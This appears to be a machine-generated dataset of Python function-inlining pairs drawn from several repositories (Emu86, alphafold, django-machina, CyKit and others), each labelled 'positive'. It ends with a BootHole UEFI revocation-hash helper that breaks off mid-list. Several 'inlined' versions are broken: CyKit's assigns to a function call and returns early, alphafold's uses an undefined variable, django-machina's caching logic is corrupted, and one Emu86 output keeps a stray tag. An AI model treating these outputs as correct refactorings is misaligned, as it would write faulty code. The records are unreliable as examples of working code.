<edges> element from a SaltXMI file.
"""
ins = SaltElement.from_etree(etree_element)
ins.__class__ = SaltEdge.mro()[0]
ins.layers = get_layer_ids(etree_element)
<DeepExtract>
assert 'source' in ('source', 'target')
(_, node_id_str) = etree_element.attrib['source'].split('.')
ins.source = int(node_id_str)
</DeepExtract>
<DeepExtract>
assert 'target' in ('source', 'target')
(_, node_id_str) = etree_element.attrib['target'].split('.')
ins.target = int(node_id_str)
</DeepExtract>
return ins
|
@classmethod
def from_etree(cls, etree_element):
"""
creates a ``SaltEdge`` instance from the etree representation of an
<edges> element from a SaltXMI file.
"""
ins = SaltElement.from_etree(etree_element)
ins.__class__ = SaltEdge.mro()[0]
ins.layers = get_layer_ids(etree_element)
assert 'source' in ('source', 'target')
(_, node_id_str) = etree_element.attrib['source'].split('.')
ins.source = int(node_id_str)
assert 'target' in ('source', 'target')
(_, node_id_str) = etree_element.attrib['target'].split('.')
ins.target = int(node_id_str)
return ins
|
discoursegraphs
|
positive
|
def main():
global intel_machine
global mips_machine
global riscv_machine
<DeepExtract>
intel_machine.re_init()
mips_machine.re_init()
riscv_machine.re_init()
intel_machine.flavor = None
mips_machine.flavor = None
riscv_machine.flavor = None
intel_machine.base = None
mips_machine.base = None
riscv_machine.base = None
</DeepExtract>
base = None
parser = argparse.ArgumentParser()
parser.add_argument('-I', help='flavor: Intel', action='store_true')
parser.add_argument('-A', help='flavor: AT&T', action='store_true')
parser.add_argument('-MASM', help='flavor: MIPS_ASM', action='store_true')
parser.add_argument('-MMML', help='flavor: MIPS_MML', action='store_true')
parser.add_argument('-R', help='flavor: RISCV', action='store_true')
parser.add_argument('-x', help='base: hex', action='store_true')
parser.add_argument('-d', help='base: decimal', action='store_true')
parser.add_argument('file', help='file path of asm file')
args = parser.parse_args()
vm = None
if args.I:
intel_machine.flavor = 'intel'
vm = intel_machine
elif args.A:
intel_machine.flavor = 'att'
vm = intel_machine
elif args.MASM:
mips_machine.flavor = 'mips_asm'
vm = mips_machine
elif args.MMML:
mips_machine.flavor = 'mips_mml'
vm = mips_machine
elif args.R:
riscv_machine.flavor = 'riscv'
vm = riscv_machine
else:
return
if args.x:
base = 'hex'
elif args.d:
base = 'dec'
file_nm = args.file
asm_file = open(file_nm, 'r')
code = ''
for line in asm_file:
code += line
<DeepExtract>
if vm.flavor == 'intel' or vm.flavor == 'att':
if base is None:
base = 'dec'
elif base is None:
base = 'hex'
vm.base = base
(last_instr, error, bit_code) = assemble(code, vm.flavor, vm)
display_results(last_instr, error, vm)
</DeepExtract>
|
def main():
global intel_machine
global mips_machine
global riscv_machine
intel_machine.re_init()
mips_machine.re_init()
riscv_machine.re_init()
intel_machine.flavor = None
mips_machine.flavor = None
riscv_machine.flavor = None
intel_machine.base = None
mips_machine.base = None
riscv_machine.base = None
base = None
parser = argparse.ArgumentParser()
parser.add_argument('-I', help='flavor: Intel', action='store_true')
parser.add_argument('-A', help='flavor: AT&T', action='store_true')
parser.add_argument('-MASM', help='flavor: MIPS_ASM', action='store_true')
parser.add_argument('-MMML', help='flavor: MIPS_MML', action='store_true')
parser.add_argument('-R', help='flavor: RISCV', action='store_true')
parser.add_argument('-x', help='base: hex', action='store_true')
parser.add_argument('-d', help='base: decimal', action='store_true')
parser.add_argument('file', help='file path of asm file')
args = parser.parse_args()
vm = None
if args.I:
intel_machine.flavor = 'intel'
vm = intel_machine
elif args.A:
intel_machine.flavor = 'att'
vm = intel_machine
elif args.MASM:
mips_machine.flavor = 'mips_asm'
vm = mips_machine
elif args.MMML:
mips_machine.flavor = 'mips_mml'
vm = mips_machine
elif args.R:
riscv_machine.flavor = 'riscv'
vm = riscv_machine
else:
return
if args.x:
base = 'hex'
elif args.d:
base = 'dec'
file_nm = args.file
asm_file = open(file_nm, 'r')
code = ''
for line in asm_file:
code += line
if vm.flavor == 'intel' or vm.flavor == 'att':
if base is None:
base = 'dec'
elif base is None:
base = 'hex'
vm.base = base
(last_instr, error, bit_code) = assemble(code, vm.flavor, vm)
display_results(last_instr, error, vm)
</DeepExtract>
|
Emu86
|
positive
|
def process_tensors_from_config(tensors, data_config):
"""Apply filters and maps to an existing dataset, based on the config."""
def wrap_ensemble_fn(data, i):
"""Function to be mapped over the ensemble dimension."""
d = data.copy()
<DeepExtract>
common_cfg = data_config.common
eval_cfg = data_config.eval
map_fns = []
if common_cfg.reduce_msa_clusters_by_max_templates:
pad_msa_clusters = eval_cfg.max_msa_clusters - eval_cfg.max_templates
else:
pad_msa_clusters = eval_cfg.max_msa_clusters
max_msa_clusters = pad_msa_clusters
max_extra_msa = common_cfg.max_extra_msa
map_fns.append(data_transforms.sample_msa(max_msa_clusters, keep_extra=True))
if 'masked_msa' in common_cfg:
map_fns.append(data_transforms.make_masked_msa(common_cfg.masked_msa, eval_cfg.masked_msa_replace_fraction))
if common_cfg.msa_cluster_features:
map_fns.append(data_transforms.nearest_neighbor_clusters())
map_fns.append(data_transforms.summarize_clusters())
if max_extra_msa:
map_fns.append(data_transforms.crop_extra_msa(max_extra_msa))
else:
map_fns.append(data_transforms.delete_extra_msa)
map_fns.append(data_transforms.make_msa_feat())
crop_feats = dict(eval_cfg.feat)
if eval_cfg.fixed_size:
map_fns.append(data_transforms.select_feat(list(crop_feats)))
map_fns.append(data_transforms.random_crop_to_size(eval_cfg.crop_size, eval_cfg.max_templates, crop_feats, eval_cfg.subsample_templates))
map_fns.append(data_transforms.make_fixed_size(crop_feats, pad_msa_clusters, common_cfg.max_extra_msa, eval_cfg.crop_size, eval_cfg.max_templates))
else:
map_fns.append(data_transforms.crop_templates(eval_cfg.max_templates))
fns = map_fns
</DeepExtract>
<DeepExtract>
for f in fs:
fns = f(fns)
fn = fns
</DeepExtract>
d['ensemble_index'] = i
return fn(d)
eval_cfg = data_config.eval
tensors = compose(nonensembled_map_fns(data_config))(tensors)
<DeepExtract>
d = tensors.copy()
fns = ensembled_map_fns(data_config)
fn = compose(fns)
d['ensemble_index'] = tf.constant(0)
tensors_0 = fn(d)
</DeepExtract>
num_ensemble = eval_cfg.num_ensemble
if data_config.common.resample_msa_in_recycling:
num_ensemble *= data_config.common.num_recycle + 1
if isinstance(num_ensemble, tf.Tensor) or num_ensemble > 1:
fn_output_signature = tree.map_structure(tf.TensorSpec.from_tensor, tensors_0)
tensors = tf.map_fn(lambda x: wrap_ensemble_fn(tensors, x), tf.range(num_ensemble), parallel_iterations=1, fn_output_signature=fn_output_signature)
else:
tensors = tree.map_structure(lambda x: x[None], tensors_0)
return tensors
|
def process_tensors_from_config(tensors, data_config):
"""Apply filters and maps to an existing dataset, based on the config."""
def wrap_ensemble_fn(data, i):
"""Function to be mapped over the ensemble dimension."""
d = data.copy()
common_cfg = data_config.common
eval_cfg = data_config.eval
map_fns = []
if common_cfg.reduce_msa_clusters_by_max_templates:
pad_msa_clusters = eval_cfg.max_msa_clusters - eval_cfg.max_templates
else:
pad_msa_clusters = eval_cfg.max_msa_clusters
max_msa_clusters = pad_msa_clusters
max_extra_msa = common_cfg.max_extra_msa
map_fns.append(data_transforms.sample_msa(max_msa_clusters, keep_extra=True))
if 'masked_msa' in common_cfg:
map_fns.append(data_transforms.make_masked_msa(common_cfg.masked_msa, eval_cfg.masked_msa_replace_fraction))
if common_cfg.msa_cluster_features:
map_fns.append(data_transforms.nearest_neighbor_clusters())
map_fns.append(data_transforms.summarize_clusters())
if max_extra_msa:
map_fns.append(data_transforms.crop_extra_msa(max_extra_msa))
else:
map_fns.append(data_transforms.delete_extra_msa)
map_fns.append(data_transforms.make_msa_feat())
crop_feats = dict(eval_cfg.feat)
if eval_cfg.fixed_size:
map_fns.append(data_transforms.select_feat(list(crop_feats)))
map_fns.append(data_transforms.random_crop_to_size(eval_cfg.crop_size, eval_cfg.max_templates, crop_feats, eval_cfg.subsample_templates))
map_fns.append(data_transforms.make_fixed_size(crop_feats, pad_msa_clusters, common_cfg.max_extra_msa, eval_cfg.crop_size, eval_cfg.max_templates))
else:
map_fns.append(data_transforms.crop_templates(eval_cfg.max_templates))
fns = map_fns
for f in fs:
fns = f(fns)
fn = fns
d['ensemble_index'] = i
return fn(d)
eval_cfg = data_config.eval
tensors = compose(nonensembled_map_fns(data_config))(tensors)
d = tensors.copy()
fns = ensembled_map_fns(data_config)
fn = compose(fns)
d['ensemble_index'] = tf.constant(0)
tensors_0 = fn(d)
num_ensemble = eval_cfg.num_ensemble
if data_config.common.resample_msa_in_recycling:
num_ensemble *= data_config.common.num_recycle + 1
if isinstance(num_ensemble, tf.Tensor) or num_ensemble > 1:
fn_output_signature = tree.map_structure(tf.TensorSpec.from_tensor, tensors_0)
tensors = tf.map_fn(lambda x: wrap_ensemble_fn(tensors, x), tf.range(num_ensemble), parallel_iterations=1, fn_output_signature=fn_output_signature)
else:
tensors = tree.map_structure(lambda x: x[None], tensors_0)
return tensors
|
alphafold
|
positive
|
def get_readable_forums(self, forums, user):
""" Returns a queryset of forums that can be read by the considered user. """
if user.is_superuser:
return forums
<DeepExtract>
granted_forums_cache_key = '{}__{}'.format(':'.join(['can_read_forum']), user.id if not user.is_anonymous else 'anonymous')
if granted_forums_cache_key in self._granted_forums_cache:
readable_forums = self._granted_forums_cache[granted_forums_cache_key]
forums = self._get_all_forums()
if user.is_superuser:
self._granted_forums_cache[granted_forums_cache_key] = forums
readable_forums = forums
else:
checker = self._get_checker(user)
perms = checker.get_perms_for_forumlist(forums, ['can_read_forum'])
allowed_forums = []
for f in forums:
if set(['can_read_forum']).issubset(perms[f]):
allowed_forums.append(f)
if True:
allowed_forums = self._filter_granted_forums_using_tree(allowed_forums)
self._granted_forums_cache[granted_forums_cache_key] = allowed_forums
readable_forums = allowed_forums
</DeepExtract>
return forums.filter(id__in=[f.id for f in readable_forums]) if isinstance(forums, (models.Manager, models.QuerySet)) else list(filter(lambda f: f in readable_forums, forums))
|
def get_readable_forums(self, forums, user):
""" Returns a queryset of forums that can be read by the considered user. """
if user.is_superuser:
return forums
granted_forums_cache_key = '{}__{}'.format(':'.join(['can_read_forum']), user.id if not user.is_anonymous else 'anonymous')
if granted_forums_cache_key in self._granted_forums_cache:
readable_forums = self._granted_forums_cache[granted_forums_cache_key]
forums = self._get_all_forums()
if user.is_superuser:
self._granted_forums_cache[granted_forums_cache_key] = forums
readable_forums = forums
else:
checker = self._get_checker(user)
perms = checker.get_perms_for_forumlist(forums, ['can_read_forum'])
allowed_forums = []
for f in forums:
if set(['can_read_forum']).issubset(perms[f]):
allowed_forums.append(f)
if True:
allowed_forums = self._filter_granted_forums_using_tree(allowed_forums)
self._granted_forums_cache[granted_forums_cache_key] = allowed_forums
readable_forums = allowed_forums
return forums.filter(id__in=[f.id for f in readable_forums]) if isinstance(forums, (models.Manager, models.QuerySet)) else list(filter(lambda f: f in readable_forums, forums))
|
django-machina
|
positive
|
@methodtrace(_logger)
def get_interface_descriptor(self, dev, intf, alt, config):
desc = _usb_interface_desc()
<DeepExtract>
if hasattr(_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)), 'value'):
_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)) = _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)).value
if _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)) != 0:
raise USBError(_lib.openusb_strerror(_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc))), _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)), _openusb_errno[_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc))])
return _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc))
</DeepExtract>
desc.extra_descriptors = None
return desc
|
@methodtrace(_logger)
def get_interface_descriptor(self, dev, intf, alt, config):
desc = _usb_interface_desc()
if hasattr(_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)), 'value'):
_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)) = _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)).value
if _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)) != 0:
raise USBError(_lib.openusb_strerror(_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc))), _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc)), _openusb_errno[_lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc))])
return _lib.openusb_parse_interface_desc(_ctx.handle, dev, None, 0, config, intf, alt, byref(desc))
desc.extra_descriptors = None
return desc
|
CyKit
|
positive
|
def _step_with_closure(closure):
def wrapped_closure():
if self.first_closure_call_this_step:
self.first_closure_call_this_step = False
else:
<DeepExtract>
for (fp16_group, fp32_from_fp16_group) in zip(self.fp16_groups, self.fp32_from_fp16_groups):
master_params_to_model_params(fp16_group, fp32_from_fp16_group)
</DeepExtract>
temp_loss = closure()
while self.overflow:
scale = self.loss_scaler.loss_scale
<DeepExtract>
self.loss_scaler.update_scale(self.overflow)
</DeepExtract>
<DeepExtract>
if self.verbose:
print('OVERFLOW within closure! Skipping step. Attempted loss scale: {}, reducing to {}'.format(scale, self.loss_scale))
</DeepExtract>
temp_loss = closure()
return temp_loss
retval = self.optimizer.step(wrapped_closure)
self.first_closure_call_this_step = True
return retval
|
def _step_with_closure(closure):
def wrapped_closure():
if self.first_closure_call_this_step:
self.first_closure_call_this_step = False
else:
for (fp16_group, fp32_from_fp16_group) in zip(self.fp16_groups, self.fp32_from_fp16_groups):
master_params_to_model_params(fp16_group, fp32_from_fp16_group)
temp_loss = closure()
while self.overflow:
scale = self.loss_scaler.loss_scale
self.loss_scaler.update_scale(self.overflow)
if self.verbose:
print('OVERFLOW within closure! Skipping step. Attempted loss scale: {}, reducing to {}'.format(scale, self.loss_scale))
temp_loss = closure()
return temp_loss
retval = self.optimizer.step(wrapped_closure)
self.first_closure_call_this_step = True
return retval
|
CPM-LM-TF2
|
positive
|
def key(self, ch):
if ch in (ascii.STX, curses.KEY_LEFT):
if self.x > self.minx:
self.x -= 1
elif ch in (ascii.BS, curses.KEY_BACKSPACE):
if self.x > self.minx:
idx = self.x - self.minx
self.result = self.result[:idx - 1] + self.result[idx:]
self.x -= 1
elif ch in (ascii.ACK, curses.KEY_RIGHT):
self.x += 1
if len(self.result) + self.minx < self.x:
self.result += ' '
elif ch in (ascii.ENQ, curses.KEY_END):
self.x = self.minx + len(self.result)
elif ch in (ascii.SOH, curses.KEY_HOME):
self.x = self.minx
elif ch == ascii.NL:
return 0
elif ch == ascii.BEL:
return -1
elif ch == ascii.FF:
<DeepExtract>
self.win.move(0, self.minx)
maxx = self.win.getmaxyx()[1]
try:
self.win.addstr(self.result[-1 * (maxx - self.minx):].encode('UTF-8', 'replace'))
except:
pass
self.win.clrtoeol()
self.win.move(0, min(self.x, maxx - 1))
self.win.refresh()
</DeepExtract>
else:
self.x += 1
idx = self.x - self.minx
self.result = self.result[:idx] + unichr(ch) + self.result[idx:]
return 1
|
def key(self, ch):
if ch in (ascii.STX, curses.KEY_LEFT):
if self.x > self.minx:
self.x -= 1
elif ch in (ascii.BS, curses.KEY_BACKSPACE):
if self.x > self.minx:
idx = self.x - self.minx
self.result = self.result[:idx - 1] + self.result[idx:]
self.x -= 1
elif ch in (ascii.ACK, curses.KEY_RIGHT):
self.x += 1
if len(self.result) + self.minx < self.x:
self.result += ' '
elif ch in (ascii.ENQ, curses.KEY_END):
self.x = self.minx + len(self.result)
elif ch in (ascii.SOH, curses.KEY_HOME):
self.x = self.minx
elif ch == ascii.NL:
return 0
elif ch == ascii.BEL:
return -1
elif ch == ascii.FF:
self.win.move(0, self.minx)
maxx = self.win.getmaxyx()[1]
try:
self.win.addstr(self.result[-1 * (maxx - self.minx):].encode('UTF-8', 'replace'))
except:
pass
self.win.clrtoeol()
self.win.move(0, min(self.x, maxx - 1))
self.win.refresh()
else:
self.x += 1
idx = self.x - self.minx
self.result = self.result[:idx] + unichr(ch) + self.result[idx:]
return 1
|
Canto
|
positive
|
def BootHoleData():
""" Returns a tuple of the (rawData, expectedDupes, expectedCanonical) for the BootHole dbx generated by EDK2 """
owner = '77fa9abd-0359-4d32-bd60-28f4e78f784b'
originalHashes = [('80B4D96931BF0D02FD91A61E19D14F1DA452E66DB2408CA8604D411F92659F0A', owner), ('F52F83A3FA9CFBD6920F722824DBE4034534D25B8507246B3B957DAC6E1BCE7A', owner), ('C5D9D8A186E2C82D09AFAA2A6F7F2E73870D3E64F72C4E08EF67796A840F0FBD', owner), ('363384D14D1F2E0B7815626484C459AD57A318EF4396266048D058C5A19BBF76', owner), ('1AEC84B84B6C65A51220A9BE7181965230210D62D6D33C48999C6B295A2B0A06', owner), ('E6CA68E94146629AF03F69C2F86E6BEF62F930B37C6FBCC878B78DF98C0334E5', owner), ('C3A99A460DA464A057C3586D83CEF5F4AE08B7103979ED8932742DF0ED530C66', owner), ('58FB941AEF95A25943B3FB5F2510A0DF3FE44C58C95E0AB80487297568AB9771', owner), ('5391C3A2FB112102A6AA1EDC25AE77E19F5D6F09CD09EEB2509922BFCD5992EA', owner), ('D626157E1D6A718BC124AB8DA27CBB65072CA03A7B6B257DBDCBBD60F65EF3D1', owner), ('D063EC28F67EBA53F1642DBF7DFF33C6A32ADD869F6013FE162E2C32F1CBE56D', owner), ('29C6EB52B43C3AA18B2CD8ED6EA8607CEF3CFAE1BAFE1165755CF2E614844A44', owner), ('90FBE70E69D633408D3E170C6832DBB2D209E0272527DFB63D49D29572A6F44C', owner), ('075EEA060589548BA060B2FEED10DA3C20C7FE9B17CD026B94E8A683B8115238', owner), ('07E6C6A858646FB1EFC67903FE28B116011F2367FE92E6BE2B36999EFF39D09E', owner), ('09DF5F4E511208EC78B96D12D08125FDB603868DE39F6F72927852599B659C26', owner), ('0BBB4392DAAC7AB89B30A4AC657531B97BFAAB04F90B0DAFE5F9B6EB90A06374', owner), ('0C189339762DF336AB3DD006A463DF715A39CFB0F492465C600E6C6BD7BD898C', owner), ('0D0DBECA6F29ECA06F331A7D72E4884B12097FB348983A2A14A0D73F4F10140F', owner), ('0DC9F3FB99962148C3CA833632758D3ED4FC8D0B0007B95B31E6528F2ACD5BFC', owner), ('106FACEACFECFD4E303B74F480A08098E2D0802B936F8EC774CE21F31686689C', owner), ('174E3A0B5B43C6A607BBD3404F05341E3DCF396267CE94F8B50E2E23A9DA920C', owner), ('18333429FF0562ED9F97033E1148DCEEE52DBE2E496D5410B5CFD6C864D2D10F', owner), ('2B99CF26422E92FE365FBF4BC30D27086C9EE14B7A6FFF44FB2F6B9001699939', owner), ('2BBF2CA7B8F1D91F27EE52B6FB2A5DD049B85A2B9B529C5D6662068104B055F8', owner), ('2C73D93325BA6DCBE589D4A4C63C5B935559EF92FBF050ED50C4E2085206F17D', owner), ('2E70916786A6F773511FA7181FAB0F1D70B557C6322EA923B2A8D3B92B51AF7D', owner), ('306628FA5477305728BA4A467DE7D0387A54F569D3769FCE5E75EC89D28D1593', owner), ('3608EDBAF5AD0F41A414A1777ABF2FAF5E670334675EC3995E6935829E0CAAD2', owner), ('3841D221368D1583D75C0A02E62160394D6C4E0A6760B6F607B90362BC855B02', owner), ('3FCE9B9FDF3EF09D5452B0F95EE481C2B7F06D743A737971558E70136ACE3E73', owner), ('4397DACA839E7F63077CB50C92DF43BC2D2FB2A8F59F26FC7A0E4BD4D9751692', owner), ('47CC086127E2069A86E03A6BEF2CD410F8C55A6D6BDB362168C31B2CE32A5ADF', owner), ('518831FE7382B514D03E15C621228B8AB65479BD0CBFA3C5C1D0F48D9C306135', owner), ('5AE949EA8855EB93E439DBC65BDA2E42852C2FDF6789FA146736E3C3410F2B5C', owner), ('6B1D138078E4418AA68DEB7BB35E066092CF479EEB8CE4CD12E7D072CCB42F66', owner), ('6C8854478DD559E29351B826C06CB8BFEF2B94AD3538358772D193F82ED1CA11', owner), ('6F1428FF71C9DB0ED5AF1F2E7BBFCBAB647CC265DDF5B293CDB626F50A3A785E', owner), ('71F2906FD222497E54A34662AB2497FCC81020770FF51368E9E3D9BFCBFD6375', owner), ('726B3EB654046A30F3F83D9B96CE03F670E9A806D1708A0371E62DC49D2C23C1', owner), ('72E0BD1867CF5D9D56AB158ADF3BDDBC82BF32A8D8AA1D8C5E2F6DF29428D6D8', owner), ('7827AF99362CFAF0717DADE4B1BFE0438AD171C15ADDC248B75BF8CAA44BB2C5', owner), ('81A8B965BB84D3876B9429A95481CC955318CFAA1412D808C8A33BFD33FFF0E4', owner), ('82DB3BCEB4F60843CE9D97C3D187CD9B5941CD3DE8100E586F2BDA5637575F67', owner), ('895A9785F617CA1D7ED44FC1A1470B71F3F1223862D9FF9DCC3AE2DF92163DAF', owner), ('8AD64859F195B5F58DAFAA940B6A6167ACD67A886E8F469364177221C55945B9', owner), ('8BF434B49E00CCF71502A2CD900865CB01EC3B3DA03C35BE505FDF7BD563F521', owner), ('8D8EA289CFE70A1C07AB7365CB28EE51EDD33CF2506DE888FBADD60EBF80481C', owner), ('9998D363C491BE16BD74BA10B94D9291001611736FDCA643A36664BC0F315A42', owner), ('9E4A69173161682E55FDE8FEF560EB88EC1FFEDCAF04001F66C0CAF707B2B734', owner), ('A6B5151F3655D3A2AF0D472759796BE4A4200E5495A7D869754C4848857408A7', owner), ('A7F32F508D4EB0FEAD9A087EF94ED1BA0AEC5DE6F7EF6FF0A62B93BEDF5D458D', owner), ('AD6826E1946D26D3EAF3685C88D97D85DE3B4DCB3D0EE2AE81C70560D13C5720', owner), ('AEEBAE3151271273ED95AA2E671139ED31A98567303A332298F83709A9D55AA1', owner), ('AFE2030AFB7D2CDA13F9FA333A02E34F6751AFEC11B010DBCD441FDF4C4002B3', owner), ('B54F1EE636631FAD68058D3B0937031AC1B90CCB17062A391CCA68AFDBE40D55', owner), ('B8F078D983A24AC433216393883514CD932C33AF18E7DD70884C8235F4275736', owner), ('B97A0889059C035FF1D54B6DB53B11B9766668D9F955247C028B2837D7A04CD9', owner), ('BC87A668E81966489CB508EE805183C19E6ACD24CF17799CA062D2E384DA0EA7', owner), ('C409BDAC4775ADD8DB92AA22B5B718FB8C94A1462C1FE9A416B95D8A3388C2FC', owner), ('C617C1A8B1EE2A811C28B5A81B4C83D7C98B5B0C27281D610207EBE692C2967F', owner), ('C90F336617B8E7F983975413C997F10B73EB267FD8A10CB9E3BDBFC667ABDB8B', owner), ('CB6B858B40D3A098765815B592C1514A49604FAFD60819DA88D7A76E9778FEF7', owner), ('CE3BFABE59D67CE8AC8DFD4A16F7C43EF9C224513FBC655957D735FA29F540CE', owner), ('D8CBEB9735F5672B367E4F96CDC74969615D17074AE96C724D42CE0216F8F3FA', owner), ('E92C22EB3B5642D65C1EC2CAF247D2594738EEBB7FB3841A44956F59E2B0D1FA', owner), ('FDDD6E3D29EA84C7743DAD4A1BDBC700B5FEC1B391F932409086ACC71DD6DBD8', owner), ('FE63A84F782CC9D3FCF2CCF9FC11FBD03760878758D26285ED12669BDC6E6D01', owner), ('FECFB232D12E994B6D485D2C7167728AA5525984AD5CA61E7516221F079A1436', owner), ('CA171D614A8D7E121C93948CD0FE55D39981F9D11AA96E03450A415227C2C65B', owner), ('55B99B0DE53DBCFE485AA9C737CF3FB616EF3D91FAB599AA7CAB19EDA763B5BA', owner), ('77DD190FA30D88FF5E3B011A0AE61E6209780C130B535ECB87E6F0888A0B6B2F', owner), ('C83CB13922AD99F560744675DD37CC94DCAD5A1FCBA6472FEE341171D939E884', owner), ('3B0287533E0CC3D0EC1AA823CBF0A941AAD8721579D1C499802DD1C3A636B8A9', owner), ('939AEEF4F5FA51E23340C3F2E49048CE8872526AFDF752C3A7F3A3F2BC9F6049', owner), ('64575BD912789A2E14AD56F6341F52AF6BF80CF94400785975E9F04E2D64D745', owner), ('45C7C8AE750ACFBB48FC37527D6412DD644DAED8913CCD8A24C94D856967DF8E', owner)]
<DeepExtract>
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if originalHashes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in originalHashes:
(hashStr, ownerGuidStr) = entry
hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
originalEsl = Esl
</DeepExtract>
cert1 = [(UBUNTU_CERT, owner)]
<DeepExtract>
listSize = len(cert1)
if listSize > 1:
raise Exception('initList length > 1, unsupported by type')
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_X509_GUID)
if listSize == 0:
Esl.AddSignatureHeader(SigHeader=None, SigSize=0)
else:
(certHexStr, ownerGuidStr) = cert1[0]
certBytes = bytes.fromhex(certHexStr)
Esl.AddSignatureHeader(SigHeader=None, SigSize=EfiSignatureDataEfiCertX509.STATIC_STRUCT_SIZE + len(certBytes))
Esl.AddSignatureData(EfiSignatureDataEfiCertX509(cert=certBytes, sigowner=uuid.UUID(ownerGuidStr)))
cert1_esl = Esl
</DeepExtract>
cert2 = [(DEBIAN_CERT, owner)]
<DeepExtract>
listSize = len(cert2)
if listSize > 1:
raise Exception('initList length > 1, unsupported by type')
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_X509_GUID)
if listSize == 0:
Esl.AddSignatureHeader(SigHeader=None, SigSize=0)
else:
(certHexStr, ownerGuidStr) = cert2[0]
certBytes = bytes.fromhex(certHexStr)
Esl.AddSignatureHeader(SigHeader=None, SigSize=EfiSignatureDataEfiCertX509.STATIC_STRUCT_SIZE + len(certBytes))
Esl.AddSignatureData(EfiSignatureDataEfiCertX509(cert=certBytes, sigowner=uuid.UUID(ownerGuidStr)))
cert2_esl = Esl
</DeepExtract>
newHashes = [('81D8FB4C9E2E7A8225656B4B8273B7CBA4B03EF2E9EB20E0A0291624ECA1BA86', owner), ('B92AF298DC08049B78C77492D6551B710CD72AADA3D77BE54609E43278EF6E4D', owner), ('E19DAE83C02E6F281358D4EBD11D7723B4F5EA0E357907D5443DECC5F93C1E9D', owner), ('39DBC2288EF44B5F95332CB777E31103E840DBA680634AA806F5C9B100061802', owner), ('32F5940CA29DD812A2C145E6FC89646628FFCC7C7A42CAE512337D8D29C40BBD', owner), ('10D45FCBA396AEF3153EE8F6ECAE58AFE8476A280A2026FC71F6217DCF49BA2F', owner), ('4B8668A5D465BCDD9000AA8DFCFF42044FCBD0AECE32FC7011A83E9160E89F09', owner), ('89F3D1F6E485C334CD059D0995E3CDFDC00571B1849854847A44DC5548E2DCFB', owner), ('C9EC350406F26E559AFFB4030DE2EBDE5435054C35A998605B8FCF04972D8D55', owner), ('B3E506340FBF6B5786973393079F24B66BA46507E35E911DB0362A2ACDE97049', owner), ('9F1863ED5717C394B42EF10A6607B144A65BA11FB6579DF94B8EB2F0C4CD60C1', owner), ('DD59AF56084406E38C63FBE0850F30A0CD1277462A2192590FB05BC259E61273', owner), ('DBAF9E056D3D5B38B68553304ABC88827EBC00F80CB9C7E197CDBC5822CD316C', owner), ('65F3C0A01B8402D362B9722E98F75E5E991E6C186E934F7B2B2E6BE6DEC800EC', owner), ('5B248E913D71853D3DA5AEDD8D9A4BC57A917126573817FB5FCB2D86A2F1C886', owner), ('2679650FE341F2CF1EA883460B3556AAAF77A70D6B8DC484C9301D1B746CF7B5', owner), ('BB1DD16D530008636F232303A7A86F3DFF969F848815C0574B12C2D787FEC93F', owner), ('0CE02100F67C7EF85F4EED368F02BF7092380A3C23CA91FD7F19430D94B00C19', owner), ('95049F0E4137C790B0D2767195E56F73807D123ADCF8F6E7BF2D4D991D305F89', owner), ('02E6216ACAEF6401401FA555ECBED940B1A5F2569AED92956137AE58482EF1B7', owner), ('6EFEFE0B5B01478B7B944C10D3A8ACA2CCA4208888E2059F8A06CB5824D7BAB0', owner), ('9D00AE4CD47A41C783DC48F342C076C2C16F3413F4D2DF50D181CA3BB5AD859D', owner), ('D8D4E6DDF6E42D74A6A536EA62FD1217E4290B145C9E5C3695A31B42EFB5F5A4', owner), ('F277AF4F9BDC918AE89FA35CC1B34E34984C04AE9765322C3CB049574D36509C', owner), ('0DC24C75EB1AEF56B9F13AB9DE60E2ECA1C4510034E290BBB36CF60A549B234C', owner), ('835881F2A5572D7059B5C8635018552892E945626F115FC9CA07ACF7BDE857A4', owner), ('BADFF5E4F0FEA711701CA8FB22E4C43821E31E210CF52D1D4F74DD50F1D039BC', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('F1863EC8B7F43F94AD14FB0B8B4A69497A8C65ECBC2A55E0BB420E772B8CDC91', owner), ('7BC9CB5463CE0F011FB5085EB8BA77D1ACD283C43F4A57603CC113F22CEBC579', owner), ('E800395DBE0E045781E8005178B4BAF5A257F06E159121A67C595F6AE22506FD', owner), ('1CB4DCCAF2C812CFA7B4938E1371FE2B96910FE407216FD95428672D6C7E7316', owner), ('3ECE27CBB3EC4438CCE523B927C4F05FDC5C593A3766DB984C5E437A3FF6A16B', owner), ('68EE4632C7BE1C66C83E89DD93EAEE1294159ABF45B4C2C72D7DC7499AA2A043', owner), ('E24B315A551671483D8B9073B32DE11B4DE1EB2EAB211AFD2D9C319FF55E08D0', owner), ('E7C20B3AB481EC885501ECA5293781D84B5A1AC24F88266B5270E7ECB4AA2538', owner), 